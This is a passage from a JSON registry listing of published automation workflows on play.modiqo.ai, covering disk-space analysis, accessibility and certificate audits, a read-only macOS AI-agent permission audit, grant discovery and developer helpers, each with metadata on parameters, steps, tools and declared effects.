timings"}],"execution":{"adapters":[{"id":"modiqo/open-meteo","name":"open-meteo","version":null,"credential_status":"none"},{"id":"open-meteo","name":"open-meteo","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a29f8743ef6fab0b68013c9da0ba148e73b76a4d5246d66bbeefa5083010132b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":1,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":9,"fan_out":1,"for_each_steps":1,"complexity":20,"apis":[{"adapter":"open-meteo","steps":1,"methods":["forecast/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/open-meteo","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/multi-reach-api-conformance-auditor@4.16.26","reference":"ankurrawat/multi-reach-api-conformance-auditor@4.16.26","uri":"https://play.modiqo.ai/ankurrawat/multi-reach-api-conformance-auditor@4.16.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/multi-reach-api-conformance-auditor@4.16.26","name":"multi-reach-api-conformance-auditor","title":"multi-reach-api-conformance-auditor","description":"You are shipping distributed microservices and need to guarantee API contract stability. This probes REST and GraphQL endpoints across multiple cloud regions, validates responses against OpenAPI 3.1 specifications, measures rate-limit backoff headers, and benchmarks p99 latency percentiles.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","developer-tools","automation","productivity","quality"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.16.26","published_at":"2026-09-06T13:42:10.919712+00:00","visibility":"public","quality_score":1,"size_bytes":515850,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":6,"names":["step_3_deep_code_inspection","step_1_bootstrap_environment","step_6_emit_developer_report","step_2_parallel_fanout_execution","step_5_synthesize_metrics_and_health","step_4_validate_integrity_constraints"]},"parameters":[{"name":"target_path","type":"string","required":false,"default":".","description":"Path to inspect or execute against"},{"name":"dry_run","type":"boolean","required":false,"default":false,"description":"Run in dry-run mode without modifying filesystem"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:607444972dd2dc3b33a421d99f649064ea6d785e69b3eb110e1ea19c1ef333f4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":1,"for_each_steps":1,"complexity":6,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/rajdeepkushwaha/windows-drive-space@0.1.2","reference":"rajdeepkushwaha/windows-drive-space@0.1.2","uri":"https://play.modiqo.ai/rajdeepkushwaha/windows-drive-space@0.1.2","manifest_uri":"https://play.modiqo.ai/rajdeepkushwaha/windows-drive-space@0.1.2","name":"windows-drive-space","title":"windows-drive-space","description":"For Windows drives. Every disk cleaner adds up file sizes, and on Windows that number is wrong. Measured on the machine this was written on: the component store, WinSxS, holds 19.2 GB, and 9.4 GB of that - 49% - is a second name for files that live elsewhere in Windows. Deleting it returns 9.8 GB, not 19.2, and deleting it also breaks Windows. A OneDrive file kept online reports its full size and occupies almost nothing. Sparse and compressed files claim more than they hold. This reads the space each file was actually given, then splits it into bytes that have one name, which deleting returns, and bytes that have another name elsewhere, which deleting does not. It names each area in plain words: the Recycle Bin and Windows Update cache are safe to empty, Downloads is yours to judge, and pagefile.sys, hiberfil.sys and the component store are left alone with the Windows setting or command that handles them properly. It deletes nothing and prints no delete command for a file Windows manages. Point it at a drive as this machine sees it - /mnt/c or /mnt/d from WSL - and given anything that is not a Windows drive - a Mac or Linux root included, a Users folder is not enough - it says so rather than reporting a folder it does not understand as clean. Run it with no settings for a bundled example drive, built with real hard links, that needs no network and touches nothing of yours. Needs python3.","owner":{"kind":"user","slug":"rajdeepkushwaha"},"registry_organization":"rajdeepkushwaha","tags":["windows","disk-space","cleanup","hard-links","storage"],"primary_domain":"domain-uncategorized","author":"rajdeepkushwaha","version":"0.1.2","published_at":"2026-09-06T11:56:13.487594+00:00","visibility":"public","quality_score":1,"size_bytes":29726,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":3,"names":["scan","judge","selfcheck"]},"parameters":[{"name":"drive","type":"string","required":false,"default":"demo","description":"Absolute path to the Windows drive as this machine sees it (/mnt/c), or the word demo for the bundled example"},{"name":"budget","type":"string","required":false,"default":"240","description":"Seconds to spend walking the drive, shared out evenly across the areas found"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c9ed6a1c0878a476da223d57ae63c952384133090e22d00c1c9bdf1bf5d84f93","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mohit-labs/accessibility-wcag-audit@1.0.0","reference":"mohit-labs/accessibility-wcag-audit@1.0.0","uri":"https://play.modiqo.ai/mohit-labs/accessibility-wcag-audit@1.0.0","manifest_uri":"https://play.modiqo.ai/mohit-labs/accessibility-wcag-audit@1.0.0","name":"accessibility-wcag-audit","title":"Autonomous WCAG 2.2 Compliance & Remediation Sentinel","description":"Parallel static-HTML accessibility auditor. Parses real DOM structure (not regex heuristics) across 13 asserted WCAG 2.2 success-criterion checks — missing/mismatched alt text (img/area/input/object), unlabelled form controls, empty links and buttons, empty headings, positive tabindex, missing lang/title/main landmark, untitled iframes, zoom-blocking viewport meta — and returns byte-exact offending HTML snippets so an AI agent can remediate them directly. Separately surfaces 10 lower-confidence heuristic signals (duplicate ids, heading-order skips, unreviewed autoplay, meta-refresh timers, non-interactive click handlers, unfocusable ARIA widgets, javascript-scheme links, headerless data tables, aria-label/visible-text mismatches) as advisories requiring human review, never asserted as confirmed failures.","owner":{"kind":"org","slug":"mohit-labs"},"registry_organization":"mohit-labs","tags":["accessibility","wcag","dom","ui","auto-remediation","ai-agents"],"primary_domain":"domain-uncategorized","author":"mohit-labs","version":"1.0.0","published_at":"2026-09-06T11:49:56.690161+00:00","visibility":"public","quality_score":0.649999976158142,"size_bytes":11345,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["parse_urls","wcag_probe"]},"parameters":[{"name":"targetUrls","type":"string","required":false,"default":"https://modiqo.ai,https://w3.org","description":"Comma-separated list of URLs to audit. Invalid/unsafe entries (non-http(s) schemes, bare IPs/localhost, malformed hosts) are dropped and reported rather than silently passed through. Capped at 10 targets per run."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:13d5b9d8cd70e3f40199b7e86392d1c2bfcf1618185f27186a21f4fd3fae48fc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":4,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/iamaanahmad/resolution-proof@0.1.0","reference":"iamaanahmad/resolution-proof@0.1.0","uri":"https://play.modiqo.ai/iamaanahmad/resolution-proof@0.1.0","manifest_uri":"https://play.modiqo.ai/iamaanahmad/resolution-proof@0.1.0","name":"resolution-proof","title":"resolution-proof","description":"Validates, fetches, evaluates, and verifies a caller-supplied public JSON resolution source. Returns READY, WAIT, AMBIGUOUS, or BLOCKED without trading or claiming the source is official.","owner":{"kind":"user","slug":"iamaanahmad"},"registry_organization":"iamaanahmad","tags":["prediction-markets","resolution","evidence","read-only"],"primary_domain":"domain-uncategorized","author":"iamaanahmad","version":"0.1.0","published_at":"2026-09-06T11:36:35.137959+00:00","visibility":"public","quality_score":0.875,"size_bytes":7732,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["fetch_source","verify_result","write_receipt","validate_inputs","evaluate_resolution"]},"parameters":[{"name":"market_question","type":"string","required":true,"description":"The market question being checked"},{"name":"resolution_rule","type":"string","required":true,"description":"The caller-supplied resolution rule, recorded for context but not parsed"},{"name":"source_url","type":"string","required":true,"description":"The caller-supplied public HTTPS JSON source, or fixture://ready for the packaged demo"},{"name":"json_pointer","type":"string","required":true,"description":"RFC 6901 JSON Pointer for the decisive value"},{"name":"expected_value","type":"string","required":true,"description":"Expected scalar value, compared without case differences"},{"name":"pending_values","type":"string","required":false,"default":"pending,tbd,unknown,not yet available","description":"Comma-separated values that mean the official result is not final"},{"name":"receipt","type":"string","required":false,"default":"none","description":"Set to write to create the declared local receipt","values":["none","write"]},{"name":"receipt_path","type":"string","required":false,"default":"resolution-proof-receipt.json","description":"Workspace-relative path for the optional local receipt"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e303537dbe2259e7558fae9357f1a3464b6c45c4633d1751e004c296b9060a26","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":1,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dezloper/automation-finder@0.2.0","reference":"dezloper/automation-finder@0.2.0","uri":"https://play.modiqo.ai/dezloper/automation-finder@0.2.0","manifest_uri":"https://play.modiqo.ai/dezloper/automation-finder@0.2.0","name":"automation-finder","title":"automation-finder","description":"Mines your own Claude Code chat history -- one project or every project at once -- looking for patterns that are BOTH genuinely repeated AND mechanical enough to automate, not just repeated. It is told explicitly to reject pure judgment work (design/aesthetic calls, \"does this look right\", deciding what content to keep) even if that repeats constantly, and to only propose something when it can quote real evidence: which project(s), roughly how many times, and a verbatim quote from your own chats. For each real candidate it hands you the exact `rote play template create ...` command to start building it, and cross-checks the real play.modiqo.ai registry so it does not send you to rebuild something that already exists. With apply_global=true it saves the findings into a global skill (~/.claude/skills/automation-finder-candidates) so a future Claude session already knows what is worth automating next -- additive only, skips cleanly if it already ran today. Default apply_global=false only prints the findings. Leave root empty to scan every project on this machine; pass root=<path> to scope it to just one project.","owner":{"kind":"user","slug":"dezloper"},"registry_organization":"dezloper","tags":["domain-engineering","engineering-workflows","audience-developers","effect-gated-write","job-automation-discovery"],"primary_domain":"domain-engineering","author":"rote clean-room authoring","version":"0.2.0","published_at":"2026-09-06T10:58:04.179152+00:00","visibility":"public","quality_score":1,"size_bytes":14994,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["apply","check_registry","survey_assistant","discover_and_mine","compose_candidates"]},"parameters":[{"name":"root","type":"string","required":false,"default":"","description":"Leave empty to scan every Claude Code project on this machine. Set to a path to scope the scan to just that one project."},{"name":"apply_global","type":"string","required":false,"default":"false","description":"Set true to save findings into a global skill under ~/.claude/skills so a future session remembers them. Default false only prints what would be saved. This is a fixed true/false choice -- when asking the user, present it as a selectable option, never as a free-text question.","values":["false","true"],"example":"true"},{"name":"skills_dir","type":"string","required":false,"default":"","description":"Override where the global skill is written. Defaults to ~/.claude/skills."},{"name":"corpus_char_budget","type":"string","required":false,"default":"120000","description":"How much chat text to read across all projects, spread evenly rather than letting one chatty project dominate."},{"name":"timeout_seconds","type":"string","required":false,"default":"300","description":"Wall-clock budget for the assistant to find candidates."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3047ca07c72ed876c42c1ff5c9add922c3f871aa841a567da935d3348781c4b5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/itssaharsh/cert-expiry-sweep@0.1.1","reference":"itssaharsh/cert-expiry-sweep@0.1.1","uri":"https://play.modiqo.ai/itssaharsh/cert-expiry-sweep@0.1.1","manifest_uri":"https://play.modiqo.ai/itssaharsh/cert-expiry-sweep@0.1.1","name":"cert-expiry-sweep","title":"cert-expiry-sweep","description":"A certificate expires on a date nobody wrote down, and the registration behind it on another. This sweeps every domain you give it and says which ones need action. Four probe families run as parallel DAG steps: the TLS certificate (expiry, issuer, whether it covers the host, read even when it is already expired or mismatched), registration expiry and status from public RDAP, DNS resolution, and whether port 80 redirects to https with HSTS. A source that is down costs you that source, never the run; a domain it cannot read is listed as unknown, not dropped, and it checks its own arithmetic before you see a verdict. Remembers the last sweep so the next one names what moved: renewed, crossed a threshold, new, gone. Honest limit: RDAP coverage varies by TLD and is reported as unknown, never guessed. Writes exactly two files, state_path and out_path (one HTML page you open); nothing else. No adapters, no credentials, no keys; needs only python3.","owner":{"kind":"user","slug":"itssaharsh"},"registry_organization":"itssaharsh","tags":["effect-write","domain-web-operations","web-operations","job-certificate-expiry-sweep","audience-sre","audience-developers","tool-python3","tls","certificates","rdap","dns","domains"],"primary_domain":"domain-web-operations","author":"itssaharsh","version":"0.1.1","published_at":"2026-09-06T09:40:23.866467+00:00","visibility":"public","quality_score":1,"size_bytes":16977,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":9,"names":["verdict","probe_dns","probe_tls","probe_http","probe_rdap","render_html","write_state","load_previous","validate_input"]},"parameters":[{"name":"domains","type":"string","required":false,"default":"example.com,github.com,modiqo.ai,expired.badssl.com","description":"Comma-separated bare hostnames, up to 100. The default is a labelled demo set that includes one expired certificate.","example":"example.com,api.example.com"},{"name":"warn_days","type":"integer","required":false,"default":"30","description":"RENEW_SOON at or below this many days.","example":"30"},{"name":"critical_days","type":"integer","required":false,"default":"7","description":"CRITICAL at or below this many days; must be at most warn_days.","example":"7"},{"name":"check_rdap","type":"boolean","required":false,"default":"true","description":"Read registration expiry and registrar from public RDAP.","example":"true"},{"name":"timeout_s","type":"integer","required":false,"default":"10","description":"Per-connection timeout in seconds, 2 to 60.","example":"10"},{"name":"state_path","type":"string","required":false,"default":"cert-expiry-sweep/state.json","description":"Where the last sweep is remembered; relative paths land in this Play's own run workspace (the full path is printed), absolute paths go where you say. The first of the two files this Play writes.","example":"cert-expiry-sweep/state.json"},{"name":"out_path","type":"string","required":false,"default":"cert-expiry-sweep/report.html","description":"The single-file HTML report you open; relative paths land in this Play's own run workspace (the full path is printed), absolute paths go where you say. The second file this Play writes.","example":"cert-expiry-sweep/report.html"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9fe33e0b784ecc7be39311a6615bf5180e37204bf1c25b6ea0a48c206921f9b4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":4,"fan_out":0,"for_each_steps":0,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/paveenkumar-dev/mac-ai-agent-audit@0.0.8","reference":"paveenkumar-dev/mac-ai-agent-audit@0.0.8","uri":"https://play.modiqo.ai/paveenkumar-dev/mac-ai-agent-audit@0.0.8","manifest_uri":"https://play.modiqo.ai/paveenkumar-dev/mac-ai-agent-audit@0.0.8","name":"mac-ai-agent-audit","title":"mac-ai-agent-audit","description":"Read-only audit of the AI agents on your own Mac - Codex, Claude, Antigravity and Terminal. Collecting macOS permissions needs Full Disk Access, so run it from Terminal.app, which you grant FDA manually in System Settings; without that the run still completes and reports everything else, and never treats an unread database as evidence that an app lacks permission. It never grants, changes or copies a permission, never uses sudo, Computer Use or the Keychain, and never writes to anything it inspects. It reports stored privacy decisions per app and per Automation target, configuration, MCP servers, hooks, approval rules, skills, credential-file locations and modes, and every project path your agents recorded - then classifies each for migration to a new Mac and gives revocation steps it never runs. Writes an offline HTML report and a sanitized JSON audit into a new private subdirectory of output_dir; both hold your real file paths. Credential values are excluded and the output is leak-checked before writing.","owner":{"kind":"user","slug":"paveenkumar-dev"},"registry_organization":"paveenkumar-dev","tags":["macos","privacy","audit","migration","local","typescript"],"primary_domain":"domain-uncategorized","author":"paveenkumar-dev","version":"0.0.8","published_at":"2026-09-06T09:27:47.224456+00:00","visibility":"public","quality_score":1,"size_bytes":45399,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":16,"names":["detect_mac","detect_apps","render_report","inventory_skills","migration_matrix","discover_projects","inventory_configs","security_findings","audit_agent_storage","interpret_permissions","inspect_secret_storage","reset_revocation_guide","secret_leak_validation","check_macos_permissions","discover_app_identities","inspect_project_ai_config"]},"parameters":[{"name":"output_dir","type":"string","required":false,"default":".","description":"Existing output directory; each successful audit creates a private uniquely named subdirectory."},{"name":"include_cached_skills","type":"string","required":false,"default":"true","description":"Include cached skill entries; canonical and duplicates are labeled."},{"name":"include_missing_projects","type":"string","required":false,"default":"true","description":"Show missing historical locations by default. Missing references always remain in structured output."},{"name":"extra_project_paths","type":"string","required":false,"default":"[]","description":"Optional JSON array of absolute project paths to add."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a9b4eae174536998aff75546cb0b35aa34be0855fa48fbc08d013979d0f1e466","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":16,"kinds":{"api":0,"shell":16,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":8,"width":5,"fan_out":0,"for_each_steps":0,"complexity":16,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":16}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dezloper/grant-radar@0.1.1","reference":"dezloper/grant-radar@0.1.1","uri":"https://play.modiqo.ai/dezloper/grant-radar@0.1.1","manifest_uri":"https://play.modiqo.ai/dezloper/grant-radar@0.1.1","name":"grant-radar","title":"grant-radar","description":"A live radar of grants you can actually apply to, across AI and crypto, from mini grants to big ecosystem funds. It sweeps three sources every run and merges them into one digest sorted by soonest deadline: web3grants.co for web3 and crypto programs, the US federal grants.gov API for AI and research grants, and a curated set of grant programs that run on GitHub such as the Web3 Foundation, NEAR and Filecoin. For each grant it shows the name, the ecosystem or agency, the amount and deadline when the source states them, a countdown for dated ones, and the exact link where you apply. It only lists live grants: anything closed, expired or archived is dropped, and a grant with no stated deadline is shown as rolling rather than guessed at. Always asks which category first (ai, crypto, defi, infra, research, public-goods, or all) -- type any other word (e.g. hardware) and it is matched against every grant's own text instead of being ignored. If a source is down it says so and still shows the rest, so one outage never blanks the board. Amounts and deadlines are shown only when the source states them, and grant terms change, so open the apply link and read the program's own page before you apply. Read only, no credentials.","owner":{"kind":"user","slug":"dezloper"},"registry_organization":"dezloper","tags":["domain-engineering","engineering-workflows","audience-developers","effect-read-only","domain-funding","job-grant-discovery","audience-founders"],"primary_domain":"domain-engineering","author":"rote clean-room authoring","version":"0.1.1","published_at":"2026-09-06T08:52:17.347511+00:00","visibility":"public","quality_score":1,"size_bytes":10579,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["assess","fetch_gov","fetch_web3","fetch_github","validate_input"]},"parameters":[{"name":"category","type":"string","required":true,"description":"Which grants to show. One of all, ai, crypto, defi, infra, research, public-goods -- or type your own word (e.g. hardware) and it's matched against each grant's topics.","example":"crypto"},{"name":"max_results","type":"string","required":false,"default":"10","description":"How many grants to show, soonest deadline first. Common choices are 10, 25, 50, or 100.","example":"25"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1014b23c9acaed2693c3bf4aed41b62fb53ecb955cd95935cd6823657cbfb18e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shambhavi/meeting-to-action@0.2.0","reference":"shambhavi/meeting-to-action@0.2.0","uri":"https://play.modiqo.ai/shambhavi/meeting-to-action@0.2.0","manifest_uri":"https://play.modiqo.ai/shambhavi/meeting-to-action@0.2.0","name":"meeting-to-action","title":"meeting-to-action","description":"Turn meeting notes into structured decisions, action items, owners, and follow-ups.","owner":{"kind":"user","slug":"shambhavi"},"registry_organization":"shambhavi","tags":["productivity","meetings","action-items","developer-tools"],"primary_domain":"domain-uncategorized","author":"shambhavi","version":"0.2.0","published_at":"2026-09-06T08:18:56.785798+00:00","visibility":"public","quality_score":1,"size_bytes":1749,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["python3"]},"parameters":[{"name":"notes","type":"string","required":true,"description":"Meeting notes to turn into decisions, actions, questions, and accountability gaps."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f6f5be0493aea9bd81e93f841377edbd0a2e2c0fa1372c8f812a7585c4e47c17","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shambhavi/signal-fire@0.3.0","reference":"shambhavi/signal-fire@0.3.0","uri":"https://play.modiqo.ai/shambhavi/signal-fire@0.3.0","manifest_uri":"https://play.modiqo.ai/shambhavi/signal-fire@0.3.0","name":"signal-fire","title":"signal-fire","description":"Connect a production symptom to recent engineering changes and surface evidence-backed signals.","owner":{"kind":"user","slug":"shambhavi"},"registry_organization":"shambhavi","tags":["developer-tools","debugging","incidents","change-analysis"],"primary_domain":"domain-uncategorized","author":"shambhavi","version":"0.3.0","published_at":"2026-09-06T08:09:56.84259+00:00","visibility":"public","quality_score":1,"size_bytes":1665,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["fetch_data"]},"parameters":[{"name":"owner","type":"string","required":true,"default":"null","description":"GitHub repository owner or organization"},{"name":"repo","type":"string","required":true,"default":"null","description":"GitHub repository name"},{"name":"symptom","type":"string","required":true,"default":"null","description":"Production symptom or incident description"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6b8e1d97d8609e05750e44c40c31a016b97402239e688c889acc03e80ed26985","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/shambhavi/repo-ready@0.1.0","reference":"shambhavi/repo-ready@0.1.0","uri":"https://play.modiqo.ai/shambhavi/repo-ready@0.1.0","manifest_uri":"https://play.modiqo.ai/shambhavi/repo-ready@0.1.0","name":"repo-ready","title":"repo-ready","description":"Check whether a repository is actually ready for a stranger to run.","owner":{"kind":"user","slug":"shambhavi"},"registry_organization":"shambhavi","tags":["repository","onboarding","reproducibility","readiness"],"primary_domain":"domain-uncategorized","author":"shambhavi","version":"0.1.0","published_at":"2026-09-06T08:04:18.528028+00:00","visibility":"public","quality_score":1,"size_bytes":1758,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["python3"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Play parameter"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:031ab7812d1526b63f50a50805e21c046b8ad3389fa7bcaf9d160432fba0ff7a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/squaredcube/feedback-to-fix@0.1.2","reference":"squaredcube/feedback-to-fix@0.1.2","uri":"https://play.modiqo.ai/squaredcube/feedback-to-fix@0.1.2","manifest_uri":"https://play.modiqo.ai/squaredcube/feedback-to-fix@0.1.2","name":"feedback-to-fix","title":"feedback-to-fix","description":"Turn user feedback into the next fix. Group repeated complaints, choose one problem and draft a message asking people to try the fix. From a 5 time hackathon winner at NVIDIA, OpenAI, Google Deepmind, YC, and Insforge, using insights from the top projects I built!","owner":{"kind":"user","slug":"squaredcube"},"registry_organization":"squaredcube","tags":["hackathon","project-maintenance","coding-agents"],"primary_domain":"domain-uncategorized","author":"squaredcube","version":"0.1.2","published_at":"2026-09-06T06:21:32.141696+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":16770,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["load_packet","check_outcomes","group_feedback","compose_feedback"]},"parameters":[{"name":"packet","type":"string","required":true,"description":"Absolute path to your selected sanitized day-two/v2 JSON packet, up to 12 KiB. No other project files are read."},{"name":"at","type":"string","required":false,"default":"now","description":"Analysis time: now, or an explicit UTC ISO time for reproducible fixtures. Use now for real 